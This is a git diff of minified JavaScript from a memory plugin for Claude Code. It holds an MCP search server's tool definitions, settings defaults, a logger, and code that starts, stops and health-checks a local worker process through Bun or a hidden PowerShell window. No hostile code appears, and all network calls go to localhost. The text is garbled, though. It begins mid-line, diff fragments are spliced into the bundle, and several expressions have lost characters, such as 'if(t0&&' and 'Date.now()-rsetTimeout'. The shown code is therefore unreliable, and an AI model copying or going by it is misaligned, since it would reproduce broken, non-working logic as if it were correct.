(POST)",void 0,{endpoint:a}),{content:[{type:"text",text:JSON.stringify(r,null,2)}]}}catch(t){return me.error("HTTP","Worker API error (POST)",void 0,{endpoint:a,error:t.message}),{content:[{type:"text",text:`Error calling Worker API: ${t.message}`}],isError:!0}}}async function Fd(){try{return(await fetch(`${lt}/api/health`)).ok}catch{return!1}}var Eo=[{name:"get_schema",description:"Get parameter schema for a tool. Call get_schema(tool_name) for details",inputSchema:{type:"object",properties:{tool_name:{type:"string"}},required:["tool_name"]},handler:async a=>{let e=a.tool_name;if(typeof e!="string"||!Object.hasOwn(hs,e))return{content:[{type:"text",text:`Unknown tool: ${e} Available tools: ${Object.keys(hs).join(", ")}`}],isError:!0};let t=hs[e];return{content:[{type:"text",text:`# ${e} Parameters -${JSON.stringify(t,null,2)}`}]}}},{name:"search",description:'Search memory. All parameters optional - call get_schema("search") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.search;return await wt(e,a)}},{name:"timeline",description:'Timeline context. All parameters optional - call get_schema("timeline") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.timeline;return await wt(e,a)}},{name:"get_recent_context",description:'Recent context. All parameters optional - call get_schema("get_recent_context") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.get_recent_context;return await wt(e,a)}},{name:"get_context_timeline",description:"Timeline around observation ID",inputSchema:{type:"object",properties:{anchor:{type:"number",description:'Observation ID (required). Optional params: get_schema("get_context_timeline")'}},required:["anchor"],additionalProperties:!0},handler:async a=>{let e=xt.get_context_timeline;return await wt(e,a)}},{name:"help",description:'Get detailed docs. All parameters optional - call get_schema("help") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.help;return await wt(e,a)}},{name:"get_observation",description:"Fetch observation by ID",inputSchema:{type:"object",properties:{id:{type:"number",description:"Observation ID (required)"}},required:["id"]},handler:async a=>await ps("/api/observation",a.id)},{name:"get_observations",description:"Batch fetch observations",inputSchema:{type:"object",properties:{ids:{type:"array",items:{type:"number"},description:'Array of observation IDs (required). Optional params: get_schema("get_observations")'}},required:["ids"],additionalProperties:!0},handler:async a=>await Md("/api/observations/batch",a)},{name:"get_session",description:"Fetch session by ID",inputSchema:{type:"object",properties:{id:{type:"number",description:"Session ID (required)"}},required:["id"]},handler:async a=>await ps("/api/session",a.id)},{name:"get_prompt",description:"Fetch prompt by ID",inputSchema:{type:"object",properties:{id:{type:"number",description:"Prompt ID (required)"}},required:["id"]},handler:async a=>await ps("/api/prompt",a.id)}],ms=new la({name:"mem-search-server",version:"1.0.0"},{capabilities:{tools:{}}});ms.setRequestHandler(Ca,async()=>({tools:Eo.map(a=>({name:a.name,description:a.description,inputSchema:a.inputSchema}))}));ms.setRequestHandler(Da,async a=>{let e=Eo.find(t=>t.name===a.params.name);if(!e)throw new Error(`Unknown tool: ${a.params.name}`);try{return await e.handler(a.params.arguments||{})}catch(t){return{content:[{type:"text",text:`Tool execution failed: ${t.message}`}],isError:!0}}});async function So(){me.info("SYSTEM","MCP server shutting down"),process.exit(0)}process.on("SIGTERM",So);process.on("SIGINT",So);async function Ud(){let a=new ua;await ms.connect(a),me.info("SYSTEM","Claude-mem search server started"),setTimeout(async()=>{await qd()?me.info("SYSTEM","Worker available",void 0,{workerUrl:lt}):(me.warn("SYSTEM","Worker not available",void 0,{workerUrl:lt}),me.warn("SYSTEM","Tools will fail until Worker is started"),me.warn("SYSTEM","Start Worker with: claude-mem restart"))},0)}Ud().catch(a=>{me.error("SYSTEM","Fatal error",void 0,a),process.exit(1)}); +${JSON.stringify(t,null,2)}`}]}}},{name:"search",description:'Search memory. All parameters optional - call get_schema("search") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.search;return await wt(e,a)}},{name:"timeline",description:'Timeline context. All parameters optional - call get_schema("timeline") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.timeline;return await wt(e,a)}},{name:"get_recent_context",description:'Recent context. All parameters optional - call get_schema("get_recent_context") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.get_recent_context;return await wt(e,a)}},{name:"get_context_timeline",description:"Timeline around observation ID",inputSchema:{type:"object",properties:{anchor:{type:"number",description:'Observation ID (required). Optional params: get_schema("get_context_timeline")'}},required:["anchor"],additionalProperties:!0},handler:async a=>{let e=xt.get_context_timeline;return await wt(e,a)}},{name:"help",description:'Get detailed docs. All parameters optional - call get_schema("help") for details',inputSchema:{type:"object",properties:{},additionalProperties:!0},handler:async a=>{let e=xt.help;return await wt(e,a)}},{name:"get_observation",description:"Fetch observation by ID",inputSchema:{type:"object",properties:{id:{type:"number",description:"Observation ID (required)"}},required:["id"]},handler:async a=>await ps("/api/observation",a.id)},{name:"get_observations",description:"Batch fetch observations",inputSchema:{type:"object",properties:{ids:{type:"array",items:{type:"number"},description:'Array of observation IDs (required). Optional params: get_schema("get_observations")'}},required:["ids"],additionalProperties:!0},handler:async a=>await jd("/api/observations/batch",a)},{name:"get_session",description:"Fetch session by ID",inputSchema:{type:"object",properties:{id:{type:"number",description:"Session ID (required)"}},required:["id"]},handler:async a=>await ps("/api/session",a.id)},{name:"get_prompt",description:"Fetch prompt by ID",inputSchema:{type:"object",properties:{id:{type:"number",description:"Prompt ID (required)"}},required:["id"]},handler:async a=>await ps("/api/prompt",a.id)}],ms=new la({name:"mem-search-server",version:"1.0.0"},{capabilities:{tools:{}}});ms.setRequestHandler(Ca,async()=>({tools:Eo.map(a=>({name:a.name,description:a.description,inputSchema:a.inputSchema}))}));ms.setRequestHandler(Da,async a=>{let e=Eo.find(t=>t.name===a.params.name);if(!e)throw new Error(`Unknown tool: ${a.params.name}`);try{return await e.handler(a.params.arguments||{})}catch(t){return{content:[{type:"text",text:`Tool execution failed: ${t.message}`}],isError:!0}}});async function So(){me.info("SYSTEM","MCP server shutting down"),process.exit(0)}process.on("SIGTERM",So);process.on("SIGINT",So);async function Md(){let a=new ua;await ms.connect(a),me.info("SYSTEM","Claude-mem search server started"),setTimeout(async()=>{await Fd()?me.info("SYSTEM","Worker available",void 0,{workerUrl:lt}):(me.warn("SYSTEM","Worker not available",void 0,{workerUrl:lt}),me.warn("SYSTEM","Tools will fail until Worker is started"),me.warn("SYSTEM","Start Worker with: claude-mem restart"))},0)}Md().catch(a=>{me.error("SYSTEM","Fatal error",void 0,a),process.exit(1)}); /*! Bundled license information: uri-js/dist/es5/uri.all.js: diff --git a/plugin/scripts/new-hook.js b/plugin/scripts/new-hook.js index c32ffb03..18ba9c02 100755 --- a/plugin/scripts/new-hook.js +++ b/plugin/scripts/new-hook.js @@ -1,28 +1,28 @@ #!/usr/bin/env bun -import{stdin as Q}from"process";var M=JSON.stringify({continue:!0,suppressOutput:!0});import C from"path";import{homedir as Ot}from"os";import{spawnSync as wt}from"child_process";import{existsSync as At,writeFileSync as G,readFileSync as Dt,mkdirSync as Ct}from"fs";import{readFileSync as nt,writeFileSync as ot,existsSync as st}from"fs";import{join as it}from"path";import{homedir as at}from"os";var et=["bugfix","feature","refactor","discovery","decision","change"],rt=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var W=et.join(","),F=rt.join(",");var g=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:it(at(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:W,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:F,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!st(t))return this.getAllDefaults();let e=nt(t,"utf-8"),r=JSON.parse(e),o=r;if(r.env&&typeof r.env=="object"){o=r.env;try{ot(t,JSON.stringify(o,null,2),"utf-8"),u.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(i){u.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},i)}}let s={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))o[i]!==void 0&&(s[i]=o[i]);return s}catch(e){return u.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};var P=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(P||{}),b=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=g.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=P[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),o=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),l=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${o} ${s}:${i}:${a}.${l}`}log(t,e,r,o,s){if(t0&&(E=` {${Object.entries(x).map(([Z,tt])=>`${Z}=${tt}`).join(", ")}}`)}let _=`[${i}] [${a}] [${l}] ${c}${r}${E}${p}`;t===3?console.error(_):console.log(_)}debug(t,e,r,o){this.log(0,t,e,r,o)}info(t,e,r,o){this.log(1,t,e,r,o)}warn(t,e,r,o){this.log(2,t,e,r,o)}error(t,e,r,o){this.log(3,t,e,r,o)}dataIn(t,e,r,o){this.info(t,`\u2192 ${e}`,r,o)}dataOut(t,e,r,o){this.info(t,`\u2190 ${e}`,r,o)}success(t,e,r,o){this.info(t,`\u2713 ${e}`,r,o)}failure(t,e,r,o){this.error(t,`\u2717 ${e}`,r,o)}timing(t,e,r,o){this.info(t,`\u23F1 ${e}`,o,{duration:`${r}ms`})}happyPathError(t,e,r,o,s=""){let c=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),p=c?`${c[1].split("/").pop()}:${c[2]}`:"unknown",E={...r,location:p};return this.warn(t,`[HAPPY-PATH] ${e}`,E,o),s}},u=new b;var A={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function R(n){return process.platform==="win32"?Math.round(n*A.WINDOWS_MULTIPLIER):n}import{existsSync as k,readFileSync as mt,writeFileSync as dt,unlinkSync as Et,mkdirSync as B}from"fs";import{createWriteStream as St}from"fs";import{join as T}from"path";import{spawn as _t,spawnSync as ht}from"child_process";import{homedir as Tt}from"os";import{join as m,dirname as ct,basename as Gt}from"path";import{homedir as ut}from"os";import{fileURLToPath as lt}from"url";function pt(){return typeof __dirname<"u"?__dirname:ct(lt(import.meta.url))}var zt=pt(),f=g.get("CLAUDE_MEM_DATA_DIR"),L=process.env.CLAUDE_CONFIG_DIR||m(ut(),".claude"),Qt=m(f,"archives"),Zt=m(f,"logs"),te=m(f,"trash"),ee=m(f,"backups"),re=m(f,"settings.json"),ne=m(f,"claude-mem.db"),oe=m(f,"vector-db"),se=m(L,"settings.json"),ie=m(L,"commands"),ae=m(L,"CLAUDE.md");import{spawnSync as gt}from"child_process";import{existsSync as ft}from"fs";import{join as H}from"path";import{homedir as j}from"os";function y(){let n=process.platform==="win32";try{if(gt("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=n?[H(j(),".bun","bin","bun.exe")]:[H(j(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(ft(e))return e;return null}function K(){return y()!==null}var h=T(f,"worker.pid"),V=T(f,"logs"),I=T(Tt(),".claude","plugins","marketplaces","thedotmack"),O=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};B(V,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=T(I,"plugin","scripts",e);if(!k(r))return{success:!1,error:`Worker script not found at ${r}`};let o=this.getLogFilePath();return this.startWithBun(r,o,t)}static isBunAvailable(){return K()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let o=y();if(!o)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(o),a=this.escapePowerShellString(t),l=this.escapePowerShellString(I),c=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${l}' -WindowStyle Hidden -RedirectStandardOutput '${c}' -RedirectStandardError '${c}.err' -PassThru | Select-Object -ExpandProperty Id`,_=ht("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(_.status!==0)return{success:!1,error:`PowerShell spawn failed: ${_.stderr?.toString()||"unknown error"}`};let w=parseInt(_.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=_t(o,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:I}),a=St(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=T(f,"settings.json"),e=g.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(g.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(o,100))}catch{return!0}return!1}static getPidInfo(){try{if(!k(h))return null;let t=mt(h,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:h}),null}}static writePidFile(t){B(f,{recursive:!0}),dt(h,JSON.stringify(t,null,2))}static removePidFile(){try{k(h)&&Et(h)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let o=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-o(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(M||{}),P=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=p.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=M[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${i}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(m=` {${Object.entries(U).map(([q,z])=>`${q}=${z}`).join(", ")}}`)}let S=`[${i}] [${a}] [${c}] ${u}${r}${m}${d}`;t===3?console.error(S):console.log(S)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let u=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),d=u?`${u[1].split("/").pop()}:${u[2]}`:"unknown",m={...r,location:d};return this.warn(t,`[HAPPY-PATH] ${e}`,m,n),s}},l=new P;var w={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(o){return process.platform==="win32"?Math.round(o*w.WINDOWS_MULTIPLIER):o}import{existsSync as k,readFileSync as ut,writeFileSync as lt,unlinkSync as pt,mkdirSync as j}from"fs";import{createWriteStream as ft}from"fs";import{join as h}from"path";import{spawn as gt,spawnSync as mt}from"child_process";import{homedir as dt}from"os";import{join as g,dirname as nt,basename as jt}from"path";import{homedir as st}from"os";import{fileURLToPath as ot}from"url";function it(){return typeof __dirname<"u"?__dirname:nt(ot(import.meta.url))}var Xt=it(),f=p.get("CLAUDE_MEM_DATA_DIR"),b=process.env.CLAUDE_CONFIG_DIR||g(st(),".claude"),Yt=g(f,"archives"),Jt=g(f,"logs"),qt=g(f,"trash"),zt=g(f,"backups"),Qt=g(f,"modes"),Zt=g(f,"settings.json"),te=g(f,"claude-mem.db"),ee=g(f,"vector-db"),re=g(b,"settings.json"),ne=g(b,"commands"),se=g(b,"CLAUDE.md");import{spawnSync as at}from"child_process";import{existsSync as ct}from"fs";import{join as W}from"path";import{homedir as F}from"os";function R(){let o=process.platform==="win32";try{if(at("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=o?[W(F(),".bun","bin","bun.exe")]:[W(F(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(ct(e))return e;return null}function H(){return R()!==null}var _=h(f,"worker.pid"),K=h(f,"logs"),y=h(dt(),".claude","plugins","marketplaces","thedotmack"),T=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};j(K,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=h(y,"plugin","scripts",e);if(!k(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return H()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=R();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(y),u=this.escapePowerShellString(e),m=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${u}' -RedirectStandardError '${u}.err' -PassThru | Select-Object -ExpandProperty Id`,S=mt("powershell",["-Command",m],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(S.status!==0)return{success:!1,error:`PowerShell spawn failed: ${S.stderr?.toString()||"unknown error"}`};let O=parseInt(S.stdout.toString().trim(),10);return isNaN(O)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:O,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(O,r))}else{let i=gt(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:y}),a=ft(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=h(f,"settings.json"),e=p.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(p.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!k(_))return null;let t=ut(_,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:_}),null}}static writePidFile(t){j(f,{recursive:!0}),lt(_,JSON.stringify(t,null,2))}static removePidFile(){try{k(_)&&pt(_)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-nsetTimeout(l,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:"Process died during startup"};try{if((await fetch(`http://127.0.0.1:${e}/api/readiness`,{signal:AbortSignal.timeout(1e3)})).ok)return{success:!0,pid:t}}catch{}await new Promise(c=>setTimeout(c,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) Troubleshooting: 1. Check Task Manager for zombie 'bun.exe' or 'node.exe' processes 2. Verify port ${e} is not in use: netstat -ano | findstr ${e} 3. Check worker logs in ~/.claude-mem/logs/ 4. See GitHub issues: #363, #367, #371, #373 -5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(o,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return T(V,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),o=Date.now()-e,s=Math.floor(o/1e3),i=Math.floor(s/60),a=Math.floor(i/60),l=Math.floor(a/24);return l>0?`${l}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function S(n={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:o}=n,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return h(K,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function I(o={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=o,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} `;return a+=`To restart the worker: `,a+=`1. Exit Claude Code completely 